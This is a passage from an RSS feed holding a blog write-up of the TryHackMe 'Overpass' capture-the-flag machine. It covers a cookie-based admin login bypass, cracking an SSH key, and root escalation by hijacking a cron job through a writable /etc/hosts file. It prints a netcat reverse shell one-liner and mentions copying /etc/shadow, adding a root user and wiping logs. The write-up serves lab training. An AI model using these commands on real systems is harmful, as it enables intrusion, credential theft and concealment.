alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackme: Overpass by NinjaJc01]]></title>
            <link>https://scritty.medium.com/tryhackme-overpass-by-ninjajc01-41d3440d6ea0?source=rss-54d24075c003------2</link>
            <guid isPermaLink="false">https://medium.com/p/41d3440d6ea0</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[scr1++y]]></dc:creator>
            <pubDate>Sun, 09 Jan 2022 07:01:32 GMT</pubDate>
            <atom:updated>2022-01-09T07:02:09.890Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dJ-qB_5ReQkPZEKd" /><figcaption>Photo by <a href="https://unsplash.com/@pokmer?utm_source=medium&amp;utm_medium=referral">Jingming Pan</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><pre>IP = 10.10.56.108* <br>Difficulty: Easy <br>Machine OS: Linux <br>Learning Platform: tryhackme.com <br>Finished on: Arch Linux</pre><h3>Reconnaissance</h3><h4>Scoping and Preparation</h4><p>Connect to OpenVPN Server using:</p><ul><li>sudo openvpn {PATH_TO_OVPN_FILE}</li></ul><p>I used my tool <a href="https://www.github.com/hambyhacks/CTFRecon-Go">CTFRecon-Go</a> to automate directory creation, port scanning, web directory brute-forcing and adding entry to /etc/hosts file.</p><p>Alternatively, you can also download the release binary for CTFRecon-Go : <a href="https://github.com/hambyhacks/CTFRecon-Go/releases/download/v.1.0.0/CTFRecon-Go">https://github.com/hambyhacks/CTFRecon-Go/releases/download/v.1.0.0/CTFRecon-Go</a></p><h3>Enumeration</h3><h4>Preliminary Enumeration via nmap</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nA1bFyZIXZvwzIdUmblhhw.png" /><figcaption>Overpass nmap scan.</figcaption></figure><h4>Table 1.1: nmap Results Summary</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*ihNfunMW2uDIrxQTn-AR5w.png" /><figcaption>Nmap results summary.</figcaption></figure><p>Machine OS: Based on OpenSSH version, machine is <a href="https://launchpad.net/ubuntu/+source/openssh/1:7.6p1-4ubuntu0.3">Ubuntu Bionic</a>.</p><p>Let&#39;s look at the HTTP server on port 80.</p><h3>Web Enumeration</h3><p>On the homepage of overpass.thm, we can see that developers offer password encryption app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DDYR_gHpk8YsMrI1.png" /></figure><p>Let&#39;s check the source code of the webpage to see if there is developer comments on the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Gk1vwlRr3FhU5zJo.png" /></figure><p>There is a comment on the source code! Searching through Google, I found out that the developer pointed out that the encryption method they use is Caesar Cipher. We can verify the encryption later in the source code analysis of the password encryption app.</p><p>Checking on GoBuster scan results, we can see that there is 2 directories that is interesting. /admin and /downloads/.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gLZ7Tx5leCX_pp9X.png" /></figure><p>Let&#39;s look first for the /downloads directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iRGG2bfDc0zp4O5M.png" /></figure><p>Let&#39;s download the source code and take notes of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/0*s0nxUQAmBkhg9YjY.png" /></figure><p>Reading through the source code, it seems that it saves the encrypted password in a file named .overpass.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GVsGY2x7Q95LZL4H.png" /></figure><p>Interesting, the binary is using ROT47 cipher which is based on Caesar Cipher! (which is referenced by the developer in the source code comment on homepage)</p><p>Let&#39;s take note of this and come back for it later.</p><p>We can also look on the /aboutus page to check for usernames.</p><p>We can now look for the /admin page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*G6iWaZlLEdQ4OScF.png" /></figure><p>Testing the login page for SQL injection does not work, so I looked for the source code of /admin page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SwkwQ135VmUqY8WR.png" /></figure><p>There are .js files in the /admin page. Let&#39;s check the contents of that files.</p><h3>Main.js</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FO4hrIOh2MUAyP6X.png" /></figure><p>It seems like the web app is not finished yet.</p><h3>Login.js</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xl9ExBB3Zw-B5143.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XIRVtZGVHxCwd4dA.png" /></figure><p>The function login is calling to /api/login and the StatusOrCookies variable is expecting Incorrect Credentials to load the /admin page. We can try to submit empty cookie to see the response of the webpage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9u_UBjtViUy6qYzw.png" /></figure><h3>Exploitation</h3><p>Now we have the basic understanding how the web app authentication works, we can now try to exploit the web app.</p><h3>Steps to Reproduce</h3><ol><li>Navigate to /admin/ page.</li><li>Open up developer console ( F12 or Right click and Click inspect) in your preferred browser (Firefox is used in this case).</li><li>Navigate to storage tab and click on cookies.</li><li>Click on + icon and rename the cookie to SessionToken with your desired value. (even space will work)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nHssLQXHLyta1pVJ.png" /></figure><p>5. Reload the page using CTRL + R. We should be redirected to the admin page as shown by the image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BsVmfQHoSLBho5K1.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hy3a1HAOeVVKUqmp.png" /></figure><p>6. Copy the id_rsa content displayed on /admin page. The comment above tells us the user having this SSH private key belongs to James user.</p><p>7. We can use SSH2john to create a crackable format for JohnTheRipper tool to use and retrieve the password of the encrypted id_rsa file.</p><ul><li>ssh2john [ID_RSA file] &gt; [OUTPUT FILE]</li><li>john [OUTPUT FILE]</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rMzyoV2Ul7SaKljL.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*detIBCNC_Z8bIkIS.png" /></figure><p>Login through SSH using the crack id_rsa file with the password we found using john.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sXDQZAQOFeAAmc_l.png" /></figure><h4>Table 1.2: Credentials</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/301/1*QECohtgc0goe6lAd065DZw.png" /><figcaption>Credentials found by enumeration.</figcaption></figure><h3>Post-Exploitation</h3><h3>Enumeration</h3><h4>Table 1.3: Checklist for Linux Internal Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*9TZlTqs6wXGHOjZKXzEYiw.png" /><figcaption>Linux internal enumeration checklist.</figcaption></figure><p><em>Notes: For more information about the commands look </em><a href="https://explainshell.com/"><em>here</em></a><em>.</em></p><p><em>Tip: When nothing else makes sense, try to use </em><a href="https://github.com/carlospolop/PEASS-ng"><em>LinPEAS</em></a><em> (</em><a href="https://github.com/carlospolop/PEASS-ng"><em>winPEAS</em></a><em> for windows machines.).</em></p><p>Looking in the home directory of James, we can see there are some interesting files named .overpass, user.txt and todo.txt.</p><h4>Todo.txt</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LrFaWUtPwxA5cSPL.png" /></figure><p>It seems James used the app to encrypt his password. Knowing that .overpass file is the encrypted password of James we can copy its contents to decrypt. We use CyberChef for this process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cnQsK7UkdQSWaKaU.png" /></figure><p>We can now use sudo! But after doing that James is not allowed to use sudo.</p><p>Looking at the /etc/crontab, we found out that there is a cron job that is running as root! The cron job is running every minute and executing buildscript.sh using bash after sending GET request using curl.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4csxrZhDUSd4-J5r.png" /></figure><p>Let&#39;s look for the /etc/hosts file since the cronjob is using overpass.thm as its Host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/0*FJUrLFw1PTjYBteK.png" /></figure><p>As you can see on the image above, the /etc/hosts file has faulty permissions.</p><p>Typically the /etc/hosts file has permissions of -rw-r--r-- meaning the root user has only the permission to write to the file.</p><p>We can use this to our advantage by editing the IP of the overpass.thm entry on /etc/hosts file.</p><h3>Privilege Escalation</h3><p>Knowing that the cron job is executing as root user and we can edit the content of /etc/hosts file. We can now try to escalate our privileges.</p><ol><li>Edit the /etc/hosts file by replacing the IP beside the entry overpass.thm to your Attacking Machine&#39;s IP.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zAMQ3wGwpEybbICc.png" /></figure><p>2. In your Attacking machine, create directories that looks like in the crontab entry.</p><p>3. Create a file named buildscript.sh in /downloads/src/ directory you just created.</p><p>4. Make the contents of buildscript.sh to a reverse shell using any text editor you want.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/0*XF646JT24vbJs6iq.png" /></figure><p>buildscript.sh content:</p><ul><li>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc {IP} {PORT} &gt;/tmp/f</li></ul><p>Go back 2 directories and open up a http server in port 80 using python.</p><ul><li>cd ../../</li><li>sudo python3 -m http.server 80</li></ul><ol><li>Setup a reverse shell listener using nc.</li><li>If you set it up properly, it should look like this.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NWOhyiJup6UgUowf.png" /></figure><p>Wait for 1 minute and the root shell should pop.</p><h3>STATUS: ROOTED</h3><p>The next two steps are not necessary for completion of the machine but it completes the 5 Phases of Penetration Testing.</p><h3>Persistence</h3><p>Copied the /etc/shadow file for user identification and their passwords.</p><p>Added another root user for easy access.</p><h3>Clearing Tracks</h3><p>Removed all logs and footprints to to prevent risk of exposure of breach to security administrator.</p><h3>Status: Finished</h3><p>Feel free to reach out and if there is something wrong about the above post. Feedback are also appreciated! :D</p><h3>Donation Box</h3><h3>Not required but appreciated! :D</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/170/0*5W3E35jnctnsWOPD.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/1*Zp179nUzBMqBk_swIXMtxw.png" /></figure><h3>Socials</h3><ul><li><a href="https://twitter.com/hambyhaxx">Twitter</a></li><li><a href="https://github.com/hambyhacks">Github</a></li></ul><p><em>Originally published at </em><a href="https://hambyhacks.hashnode.dev/tryhackme-overpass-writeup"><em>https://hambyhacks.hashnode.dev</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=41d3440d6ea0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>